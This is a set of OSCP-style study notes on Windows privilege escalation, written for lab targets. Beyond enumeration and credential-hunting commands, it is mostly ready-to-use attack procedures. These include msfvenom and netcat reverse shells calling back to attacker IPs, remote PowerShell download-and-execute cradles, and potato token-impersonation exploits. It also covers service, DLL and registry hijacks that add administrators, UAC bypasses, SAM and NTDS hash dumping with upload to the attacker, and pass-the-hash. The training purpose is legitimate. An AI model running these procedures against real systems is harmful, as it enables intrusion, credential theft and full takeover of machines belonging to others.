> For the complete documentation index, see [llms.txt](https://n000b3r.gitbook.io/oscp-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://n000b3r.gitbook.io/oscp-notes/privilege-escalation/privilege-escalation-windows.md). # Privilege Escalation (Windows)
Automated Tools * [WinPEAS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) * [PowerUp](https://github.com/PowerShellMafia/PowerSploit/blob/master/Privesc/PowerUp.ps1) * [Windows Exploit Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester) * [Windows Privesc Check](https://github.com/pentestmonkey/windows-privesc-check) If unable to run scripts/executables on target, use Windows Exploit Suggester on attacker's machine ### Windows Exploit Suggester On Victim: `systeminfo` On Attacker: ```bash python2.7 windows-exploit-suggester.py --update ``` ```bash python2.7 windows-exploit-suggester.py -i systeminfo -d 2023-03-10-mssb.xls ``` ### PowerUp.ps1 ```bash powershell -ep bypass -c "Import-Module .\powerup.ps1; Invoke-AllChecks" ``` ```bash powershell -ep bypass Import-Module .\powerup.ps1 . .\powerup.ps1 Invoke-AllChecks ``` ### Windows Privesc Check 
windows-privesc-check --dump -G
### Enumeration
Basic System Info * To find the username the shell is running as ```bash whoami ``` * Checks privileges ```bash whoami /priv ``` * To find the OS, version and architecture ```bash systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type" ``` * List system-wide updates ```shell wmic qfe get Caption, Description, HotFixID, InstalledOn ``` * Powershell command to enumerate the loaded device drivers and kernel modules ```shell driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object ‘Display Name’, ‘Start Mode’, Path ``` * Request the version of each of the loaded driver ```shell Get-WmiObject Win32_PnPSignedDriver | Select-Object DeviceName, DriverVersion, Manufacturer | Where-Object {$_.DeviceName -like "*VMware*"} ```
Users & Groups * To find the user and groups that a user belongs ```shell net user ``` * To find other accounts ```shell net user ``` * Check who's in the local administrator group ```bash net localgroup administrators ``` * Check what groups the user is in ```bash whoami /groups ```
Registry ```bash reg query HKLM /f password /t REG_SZ /s ``` * Find admin AutoLogon credentials ```bash reg query "HKLM\Software\Microsoft\Windows NT\CurrentVersion\winlogon" ``` * Check if Always Install Elevated is enabled ```shell reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated ``` ```shell reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated ```
Network * Show network interfaces ```shell ipconfig /all ``` * Show the routing table ```shell route print ``` * Show active listening network connections ```shell # To obtain the PID, listening ports netstat -an | findstr LISTEN # To determine which service is running on a particular port tasklist /v | findstr powershell -c Get-Process -Id (Get-NetTCPConnection -LocalPort 8888).OwningProcess ``` Are there any internal services? (Local address that's not 0.0.0.0) * Show the firewall profile * is it active? ```shell netsh advfirewall show currentprofile ``` #### Show all firewall rules * New: ```bash netsh advfirewall firewall dump ``` * Old: ```shell netsh advfirewall firewall show rule name=all ``` ```bash netsh firewall show state ``` ```bash netsh firewall show config ``` * Obtain different drives' names ```bash wmic logicaldisk get caption ``` * List all drives that are currently mounted and those physically connected but not mounted ```shell mountvol ```
Services * View scheduled tasks ```shell schtasks /query /fo LIST /v ``` * Lists applications that are installed by Windows Installer ```shell wmic product get name, version, vendor ``` * To find the services ```bash sc queryex type= service ``` * Running services ```shell tasklist /SVC ```
Local Administrator Password Solution (LAPS) * Secure and scalable way of remotely managing the local administrator password for domain-joined computers * ms-mcs-AdmPwd * Contains the clear text password of the local administrator account ## Check if LAPS is installed Locally ```powershell # Identify if LAPS installed to Program Files Get-ChildItem 'C:\Program Files\LAPS\CSE\Admpwd.dll' Get-ChildItem 'C:\Program Files (x86)\LAPS\CSE\Admpwd.dll' dir 'C:\Program Files\LAPS\CSE\' dir 'C:\Program Files (x86)\LAPS\CSE\' # Enumerate domain computers using LAPS via PowerView Get-DomainComputer -Domain domain.com -LDAPFilter '(ms-Mcs-AdmPwdExpirationtime=*)' # Identify which groups can view LAPS passwords Get-DomainOU -Domain domain.com | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {($_.ObjectAceType -like 'ms-Mcs-AdmPwd') -and ($_.ActiveDirectoryRights -match 'ReadProperty')} | ForEach-Object { $_ | Add-Member NoteProperty 'IdentityName' $(Convert-SidToName $_.SecurityIdentifier); $_ } ``` ## Exploitation ```powershell # PowerView iex (New-Object System.Net.WebClient).DownloadString('http://192.168.45.198/PowerView.ps1') Get-DomainComputer | Select-Object 'dnshostname','ms-mcs-admpwd' | Where-Object {$_."ms-mcs-admpwd" -ne $null} # OR LAPSToolKit # git clone https://github.com/leoloobeek/LAPSToolkit.git iex (New-Object Net.Webclient).DownloadString("http://IP/LAPSToolkit.ps1") # Show LAPS enabled computers && cleartext password if any Get-LAPSComputers # Get the groupname that can view LAPS passwords Find-LAPSDelegatedGroups # Find the accounts that can view LAPS passwords Get-NetGroupMember -GroupName "XXX" ``` If unable to get a shell as the user that's able to read LAPS passwords, then use LDAP to obtain the LAPS passwords (): ```bash python3 laps.py -u JDgodd -p 'JDg0dd1s@d0p3cr3@t0r' -d streamio.htb ```
Files & Directories Use `dir /a` to see hidden files (eg: `.git` files) * Look at PowerShell history file ```sh PS C:> cd $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine # $env:APPDATA --> C:\Users\sql_svc\AppData\Roaming C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt ``` ```bash powershell -c dir $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine powershell -c type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt ``` * Search for any file or directory that allows the Everyone group write permissions ```shell accesschk.exe -uws "Everyone" "C:\Program Files" ``` * AccessChk from SysInternals * Powershell cmd to find files that can be modified by everyone ```shell Get-ChildItem "C:\Program Files" -Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone\sAllow\s\sModify"} ```
Paths ### User PATH ```bash %PATH% FOR /F "tokens=1,3* skip=2" %G IN ('reg query HKCU\Environment') DO @echo %G=%H %I ``` ### Global PATH ```bash FOR /F "tokens=1,3* skip=2" %G IN ('reg query "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\Environment"') DO @echo %G=%H %I ```
Password Hunting * Searching for the string `password` in files recursively from a directory * `s` = recursive * `p` = skip non-printable characters * `i` = case insensitive * `n` = print line numbers ```bash findstr /spin /c:"password" *.* ``` ```bash findstr /si password *.xml *.ini *.txt ``` * Windows Autologin ```bash reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" ``` * Powershell history file ```powershell # In Powershell cd $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ # In Cmd C:\Users\YourUserName\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine ``` * VNC ```bash reg query "HKCU\Software\ORL\WinVNC3\Password" ``` * SNMP ```bash reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP" ``` * Putty ```bash reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" ``` * Registry ```bash reg query HKLM /f password /t REG_SZ /s ``` ```bash findstr /si password *.txt *.ini *.config ```
Email Hunting ```bash dir *.dbx /s ```
Presence of WSL ```bash where /R c:\windows bash.exe ``` ```bash where /R c:\windows wsl.exe ```
Default files in Windows * OS Determination ```bash \windows\system32\license.rtf ``` ```bash \windows\system32\eula.txt ```
### Common Methods
Kernel ### SMBGhost ```bash # CVE-2020-0796 # https://github.com/danigargu/CVE-2020-0796 # Compile it with Visual Studio. Change payload in exploit.cpp line 204 and add msfvenom payload msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.49.60 LPORT=8081 -f dll -f csharp # Compile it. Change 'debug' to 'release', set correct architecture. # Transfer to target .\cve-2020-0796-local.exe ``` ### MS16-032 
# https://github.com/egre55/windows-kernel-exploits/blob/master/MS16-032:%20Secondary%20Logon%20Handle/Invoke-MS16-032-Remote-Shell.ps1#L10

msfvenom -p windows/x64/shell_reverse_tcp LHOST=tun0 LPORT=53 -f exe -o reverse.exe

#Edit inside Invoke-MS16-032-Remote-Shell.ps1
Remove all the "/c C:\Users\Public\Music\nc.exe host port -e cmd.exe"
Edit all the "C:\Windows\System32\cmd.exe" to "c:\HFS\reverse.exe"

# Must use the following 64bit Powershell exe
c:\windows\sysnative\windowspowershell\v1.0\powershell.exe -ep bypass .\Invoke-MS16-032-Remote-Shell.ps1
Tater (Hot Potato) Affects the various windows versions * Windows 7 * Windows 8 * Windows 10 * Windows Server 2008 * Windows Server 2012 Transfer `tater.ps1` over to victim ```bash . .\tater.ps1 ``` ```bash Invoke-Tater -Trigger 1 -Command "net localgroup administrators user /add" ```
Show Currently Stored Creds ```bash cmdkey /list ``` ``` ## Output Target: Domain:interactive=ACCESS\\Administrator Type: Domain Password User: ACCESS\\Administrator ``` ```bash runas /savecred /user:ACCESS\Administrator reverse.exe ```
Autoruns ```bash reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ``` ```shell C:\PrivEsc\accesschk.exe /accepteula -wvu "C:\Program Files\Autorun Program\program.exe" ``` ```shell copy C:\PrivEsc\reverse.exe "C:\Program Files\Autorun Program\program.exe" /Y ``` Have to wait for an administrator to login
Unquoted Service Path Eg: Consider the string "c:\program files\sub dir\program name". The system tries to interpret the possibilities in the following order: * ***c:\program.exe, c:\program files\sub.exe, c:\program files\sub dir\program.exe, c:\program files\sub dir\program name.exe*** ```sh wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" ``` ```shell sc qc ``` If `START_TYPE : 2 AUTO_START` , then put in the malicious file and `shutdown /r /t 0` to restart the computer (hence, restarting the service). ``` C:\PrivEsc\accesschk.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\" ``` ```shell copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe" ``` ```shell net start unquotedsvc ``` c:\program.exe c:\program files\sub.exe c:\program files\sub dir\program.exe c:\program files\sub dir\program name.exe
Binary Hijacking (Service) ```bash # Generate Reverse Shell Executable msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.222 LPORT=80 -f exe -o reverse.exe # Stop the service first to replace binary, otherwise access is denied. net stop kiteservice # Overwrite the service executable with malicious rev shell exe move reverse.exe KiteService.exe # Restarts the service net start kiteservice # Netcat Listener ┌──(root㉿kali)-[/prac_oscp/192.168.191.151] └─# nc -lvp 80 listening on [any] 80 ... 192.168.218.151: inverse host lookup failed: Unknown host connect to [192.168.45.222] from (UNKNOWN) [192.168.218.151] 49999 Microsoft Windows [Version 10.0.19043.2130] (c) Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami whoami nt authority\system ```
AlwaysInstallElevated ### Check the following registry keys: Both keys are set to 1 ```shell reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated ``` ### Manual Method 1 (Simple) ```powershell msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=53 -f msi -o reverse.msi msiexec /quiet /qn /i C:\PrivEsc\reverse.msi ``` ### OR METHOD 2: [Custom MSI (Complex)](https://github.com/nickvourd/Windows-Local-Privilege-Escalation-Cookbook/blob/master/Notes/AlwaysInstallElevated.md#manual-exploitation) Open an existing random project in Visual Studio 2022-> go to Extensions tab -> Manage extensions
Install "Microsoft Visual Studio Installer Projects 2022" --> Restart VS to complete the installation
Create a adduser.c file ```c int main () { int i; i = system ("net user bill P@ssw0rd123! /add"); i = system("net localgroup administrators user /add"); return 0; } ``` Compile it ```bash i686-w64-mingw32-gcc adduser.c -o adduser.exe ```
Right click "always\_install\_elevated\_add\_bill" --> Properties
Change TargetPlatform to x64
Right click "always\_install\_elevated\_add\_bill" --> View --> Custom Actions
Right-click "Custom Actions" --> Add Custom Action
Double-click into "Application Folder"
Select "adduser.exe" --> OK
Change Run64Bit option in Properties Window to True:
Change build to release && build it with Cltrl-shift-b
```powershell curl.exe http://192.168.45.218/always_install_elevated_add_bill.msi -o always_install_elevated_add_bill.msi msiexec /quiet /qn /i always_install_elevated_add_bill.msi ```
### OR USING METASPLOIT ```powershell use exploit/windows/local/always_install_elevated set payload windows/x64/meterpreter/reverse_tcp set session 1 set LHOST tun0 run ```
Scheduled Tasks ```bash type C:\DevTools\CleanUp.ps1 ``` ```bash C:\PrivEsc\accesschk.exe /accepteula -quvw user C:\DevTools\CleanUp.ps1 ``` ```bash echo C:\PrivEsc\reverse.exe >> C:\DevTools\CleanUp.ps1 ```
Dumping Local NTLM Hashes * Need to extract out SYSTEM and SAM registry hives but they are locked by SYSTEM process --> unable to read/copy the files * Create a volume snapshot * ``` wmic shadowcopy call create Volume='C:' ``` * ``` vssadmin list shadows ``` * ``` copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\sam C:\users\offsec.corp1\Downloads\sam ``` * ``` copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system C:\users\offsec.corp1\Downloads\system ``` * Using reg save * ``` reg save HKLM\sam C:\users\offsec.corp1\Downloads\sam ``` * ``` reg save HKLM\system C:\users\offsec.corp1\Downloads\system ``` * Decrypt the SYSTEM & SAM files * creddump * ``` git clone https://github.com/Tib3rius/creddump7 cd creddump7 python3 -m venv venv pip3 uninstall crypto pip3 uninstall pycrypto install pycryptodome python3 pwdump.py ../system1 ../sam1 ```
Security Account Manger (SAM) Dump * Located in `c:\windows\system32\config` * Extract out the passwords, hashes ```bash secretsdump.py -sam SAM -security SECURITY -system SYSTEM LOCAL ``` Transfer the SAM and SYSTEM files to kali thru SMB ```shell copy C:\Windows\Repair\SAM \\10.11.67.208\kali\ ``` ```shell copy C:\Windows\Repair\SYSTEM \\10.11.67.208\kali\ ``` On Kali: ```shell git clone https://github.com/Tib3rius/creddump7;pip3 install pycryptodome ``` On Kali: ```python python3 creddump7/pwdump.py SYSTEM SAM ``` `admin:1001:aad3b435b51404eeaad3b435b51404ee:a9fdfa038c4b75ebc76dc855dd74f0da:::` –> First hash is LM hash followed by NTLM hash! On Kali: ```bash hashcat -m 1000 --force /usr/share/wordlists/rockyou.txt ```
Ntds.dit & SYSTEM Dump ```bash impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL ```
Passing the Hash * Pass in the full admin hash (includes both LM and NTLM hash, separated by colon) ```bash pth-winexe -U 'admin%hash' //10.10.202.204 cmd.exe ```
User In Local Group with Admin Privileges (UAC Bypass) ### EventViewer-UACBypass * Generate reverse shell ```bash msfvenom -p windows/x64/shell_reverse_tcp LHOST=tun0 LPORT=8443 EXITFUNC=thread -f exe -o reverse.exe ``` * Abuse SeImpersonate privileges to obtain * Run `Invoke-EventViewer` ```bash Import-Module .\Invoke-EventViewer.ps1 Invoke-EventViewer c:\temp\reverse.exe ``` OR using [FodhelperBypass.ps1](https://raw.githubusercontent.com/winscripting/UAC-bypass/refs/heads/master/FodhelperBypass.ps1) ```powershell # Load FodHelper in memory iex (new-object net.webclient).downloadstring('http://192.168.45.218/FodhelperBypass.ps1') # Using ps_shellcode_runner FodhelperBypass -program "powershell -c iex (new-object net.webclient).downloadstring('http://192.168.45.218/runall.ps1')" ```
Running Administrator account from normal user account ```bash runas /env /profile /user:Administrator "c:\temp\nc.exe -e cmd.exe 192.168.45.5 443" ```
### Token Impersonation Attacks
SigmaPotato (Windows 2012 - Windows 2022)
Abuse seImpersonate privileges to obtain NT AUTHORITY\SYSTEM ```bash .\sigmapotato.exe --revshell 192.168.45.218 4444 ```
PrintSpoofer (Windows 10, Server 2016/2019) Works on all versions of Server 2016 and Server 2019, as well as every version of Windows 10 from at least 1607 onwards. ![](/files/XpOepNYY6FpUTQFEIhzt) ![](/files/ELt13xqjTaeX7hdfkdHc) * * From Local/NETWORK SERVICE to system by abusing SeImpersonatePrivilege * This step is purely to simulate getting a service account shell ```bash .\printspoofer64.exe -c "nc64.exe -e cmd.exe 192.168.45.213 53" ``` ```bash C:\PrivEsc\PSExec64.exe -i -u "nt authority\local service" C:\PrivEsc\reverse.exe ``` ```bash C:\PrivEsc\PrintSpoofer.exe -c "C:\PrivEsc\reverse.exe" -i ```
Juicy Potato Does not work on Win10 version >= 1809, Server2019. Check Win10 versions [here](https://juggernaut-sec.com/wp-content/uploads/2022/05/image-218.png). ![](/files/YLqcddcPxVUIffr9vX4q) * * `SeImpersonatePrivilege` is enabled —> vuln to JuicyPotato PrivEsc * Transfer nc.exe `copy \\10.10.14.6\share\nc32.exe .` ```bash juicypotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c c:\users\kohsuke\Desktop\nc32.exe -e cmd.exe 10.10.14.6 4444" -t * ``` * If obtained the following error —> might be due to wrong CLSID * Find CLSID. For win server 2012 —> {C49E32C6-BC8B-11d2-85D4-00105A1F8304} * * Find the BITS CLSIDs and test those first * Add as `-c {C49E32C6-BC8B-11d2-85D4-00105A1F8304}` * `-c {F7FD3FD6-9994-452D-8DA7-9A8FD87AEEF4}` ```bash Testing {5B3E6773-3A99-4A3D-8096-7765DD11785C} 1337 COM -> recv failed with error: 10038 ``` * If obtained the following error —> might be windefender detecting and deleting the exploit. ```bash [+] authresult 0 {C49E32C6-BC8B-11d2-85D4-00105A1F8304};NT AUTHORITY\\SYSTEM [-] CreateProcessWithTokenW Failed to create proc: 2 [-] CreateProcessAsUser Failed to create proc: 2 ```
Incognito * Manual way: * ``` incognito.exe list_tokens -u msfvenom -p windows/shell_reverse_tcp LHOST=tun0 LPORT=80 -f exe -o reverse_80.exe incognito.exe execute -c "sandbox\Administrator" reverse_80.exe ``` * Metasploit's method: * ``` load incognito list_tokens -u (Delegation tokens allow full authentication, while Impersonation tokens allow acting as another user.) impersonate_token corp1\\admin getuid ```
Rogue Potato Works on versions of Windows after the changes took place (1809+) Requires SeImpersonatePrivilege and SeAssignPrimaryTokenPrivilege * [Rogue Potato ](https://github.com/antonioCoco/RoguePotato/releases/tag/1.0) * Setting up a spoofed OXID resolver * Forwards Kali port 135 to port 9999 on Windows. ```bash socat tcp-listen:135,reuseaddr,fork tcp::9999 ``` ```bash .\RoguePotato.exe -r 172.16.1.30 -e "C:\temp\nc.exe 172.16.1.30 443 -e cmd.exe" -l 9999 ``` * `-c "{6d18ad12-bde3-4393-b311-099c346e6df9}"`
### Less Common Methods
Insecure Service Permissions (Modifiable Service) * Checks the “user” account’s permissions on the ”daclsvc” service * “user” account has the permission to change the service config (SERVICE\_CHANGE\_CONFIG) ```shell C:\PrivEsc\accesschk.exe /accepteula -uwcqv user daclsvc ``` ```shell sc qc daclsvc ``` ```shell sc config daclsvc binpath= "\"C:\PrivEsc\reverse.exe\"" ``` ```shell net start daclsvc ``` OR USING POWERSHELL... ```powershell cmd /c sc qc ```
Start Type --> Change to autostart ```powershell cmd /c sc config start=auto ``` Add final.com\nina to local administrators group: --> DO NOTE THAT LocalService doesn't have enough rights to add users ```powershell cmd /c sc config binpath= "net localgroup Administrators final.com\nina /add" obj= "NT AUTHORITY\SYSTEM" ``` Ensure that changes are updated & run it ``` cmd /c sc qc net start ``` "The service is not responding to the control function." is normal.
\--------OR------------------------ ```powershell sc.exe stop browser sc.exe config browser binpath="C:\Windows\System32\cmd.exe /c net user administrator P@ssw0rd123!" sc.exe qc browser sc.exe start browser ```
DLL Hijacking * Find the DLLs that have `NAME NOT FOUND` and is in writable directories. * eg `c:\temp\hijackme.dll` ```bash // For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll // For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output. dll #include BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) { if (dwReason == DLL_PROCESS_ATTACH) { system("cmd.exe /k net localgroup administrators user /add"); ExitProcess(0); } return TRUE; } ``` ```bash x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll ``` * Transfer `output.dll` to `c:\temp\hijackme.dll` * Restart the `dllsvc` service * `sc stop dllsvc` * `sc start dllsvc` ## OR.. In CLIENT01 process monitor: ![](/files/MtVakRd8u4Zd0CdukyEv) * Create malicious msasn1.dll & save to C:\Program Files\FileZilla Server --> Rev shell * ```powershell msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 EXITFUNC=thread -f dll -o msasn1.dll ``` * ```powershell msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/x64/meterpreter/reverse_tcp; set LHOST tun0; set LPORT 443; set ExitOnSession false; exploit -j" ``` * ```
``` * Start Filezilla server * ```powershell Enter-PSSession -ComputerName files02 -ConfigurationName j_fs02 copy-item C:\shares\home\mary\msasn1.dll -destination "C:\Program Files\FileZilla Server\msasn1.dll" ```
Weak Registry Permissions * To find weak registry perm, use the following command * Will show `NT AUTHORITY\INTERACTIVE Allow FullControl` ```powershell Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl ``` * Using command prompt, ```bash sc qc regsvc ``` It runs with SYSTEM privileges (SERVICE\_START\_NAME) ```bash C:\PrivEsc\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc ``` Registry entry for regsvc service is writable by NT AUTHORITY\INTERACTIVE group (essentially all logged-on users) ```basic reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d C:\PrivEsc\reverse.exe /f ``` Overwrite the ImagePath registry key to point to the reverse.exe executable ```bash net start regsvc ```
Insecure service Executables 
sc qc filepermsvc
It runs with SYSTEM privileges (SERVICE\_START\_NAME) ```shell C:\PrivEsc\accesschk.exe /accepteula -quvw "C:\Program Files\File Permissions Service\filepermservice.exe" ``` Service binary (BINARY\_PATH\_NAME) file is writable by everyone) ```shell copy C:\PrivEsc\reverse.exe "C:\Program Files\File Permissions Service\filepermservice.exe" /Y ``` ```shell net start filepermsvc ```
Insecure GUI Apps Login to user account ```bash rdesktop -u user -p password321 10.10.201.218 ``` Double-click `AdminPaint` shortcut on Desktop ```bash tasklist /V | findstr mspaint.exe ``` Paint is running with admin privileges In Paint, `File` –> `Open`. `file://c:/windows/system32/cmd.exe`
Startup Apps * To search for writable startup apps folder * he `BUILTIN\Users`group has full access ‘(F)’ to the directory ```bash icacls.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup" ``` * Generate reverse shell: ```bash msfvenom -p windows/shell_reverse_tcp LHOST=10.11.20.202 LPORT=443 -f exe > reverse.exe ``` * Put `reverse.exe` into startup folder ```bash copy reverse.exe "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\reverse.exe" ``` * Wait for administrator to login
SeRestorePrivilege ```bash mv C:\Windows\System32\utilman.exe C:\Windows\System32\utilman.old mv C:\Windows\System32\cmd.exe c:\Windows\System32\utilman.exe ``` On Kali: ```bash rdesktop 192.168.204.165 ``` Win Key + U --> Spawned NT Authority\System shell
SeBackupPrivilege On Victim: ```bash reg save hklm\sam c:\Temp\sam reg save hklm\system c:\Temp\system ``` Transfer files to attacker: ```bash (New-Object System.Net.WebClient).UploadFile('http://10.10.14.3/', 'c:\temp\sam') (New-Object System.Net.WebClient).UploadFile('http://10.10.14.3/', 'c:\temp\system') ``` Dump out the hashes ```bash /usr/share/creddump7/pwdump.py system sam ```
WerTrigger For Example, MySQL Service has File Write permission as SYSTEM Checking to see if MySQL Service has File Write perm as SYSTEM: 
MariaDB [(none)]> select load_file('C:\\temp\\chiselx64.exe') into dumpfile 'C:\\temp\\try.exe';

#Have File Write permission as SYSTEM through mysql.
c:\temp>icacls try.exe
try.exe NT AUTHORITY\SYSTEM:(I)(F)
        BUILTIN\Administrators:(I)(F)
        BUILTIN\Users:(I)(RX)
```sql c:\temp>certutil -urlcache -f http://192.168.45.5/nc.exe nc.exe **** Online **** CertUtil: -URLCache command completed successfully. c:\temp>certutil -urlcache -f http://192.168.45.5/WerTrigger.exe WerTrigger.exe **** Online **** CertUtil: -URLCache command completed successfully. c:\temp>certutil -urlcache -f http://192.168.45.5/Report.wer Report.wer **** Online **** CertUtil: -URLCache command completed successfully. c:\temp>certutil -urlcache -f http://192.168.45.5/phoneinfo.dll phoneinfo.dll **** Online **** CertUtil: -URLCache command completed successfully. MariaDB [(none)]> select load_file('C:\\temp\\phoneinfo.dll') into dumpfile "C:\\Windows\\System32\\phoneinfo.dll"; Query OK, 1 row affected (0.254 sec) #After running WerTrigger.exe, we won't receive any prompt but we can still enter commands to execute. c:\temp>WerTrigger.exe c:\temp\nc.exe -e cmd.exe 192.168.45.5 445 ``` ```bash ┌──(root㉿kali)-[/home/kali/Documents/pg_practice/craft2] └─# nc -lvp 445 listening on [any] 445 ... connect to [192.168.45.5] from craft.offsec [192.168.159.188] 49770 Microsoft Windows [Version 10.0.17763.2746] (c) 2018 Microsoft Corporation. All rights reserved. C:\Windows\system32>whoami whoami nt authority\system ```
Abuse Service Registry ACLs ```powershell # Check the permissions of HKLM:\SYSTEM\CurrentControlSet\Services subkey $acl = Get-ACL -Path HKLM:\SYSTEM\CurrentControlSet\Services ConvertFrom-SddlString -Sddl $acl.Sddl | Foreach-Object {$_.DiscretionaryAcl} ```

User "Hector" has full control over the HKLM:\SYSTEM\CurrentControlSet\Services subkey

Exploit using a service that's running as NT AUTHORITY\SYSTEM that we have permissions to start --> wuauserv or seclogon
```powershell Set-ItemProperty -path HKLM:\System\CurrentControlSet\services\wuauserv -name ImagePath -value "c:\temp\nc.exe -e powershell.exe 10.10.14.13 443" sc.exe start wuauserv ``` ``` nc -lvp 443 ```
WSUS Administrators Use To provide updates to internal servers without direct internet connection Must use Microsoft signed binaries only! ``` .\SharpWSUS.exe create /payload:"C:\temp\psexec_64.exe" /args:" -accepteula -s -d c:\temp\nc64.exe -e cmd.exe 10.10.14.4 443" /title:"CVE-2022-30190" .\SharpWSUS.exe approve /updateid: /computername:dc.outdated.htb /groupname:"CriticalPatches" ```
Abusing Server Operators Group Membership
Server operators group allows members to start, stop and change properties of the browser (Computer Browser) service ```powershell sc.exe stop browser sc.exe config browser binpath="C:\Windows\System32\cmd.exe /c net user administrator P@ssw0rd123!" sc.exe qc browser sc.exe start browser impacket-psexec administrator@10.10.10.179 ```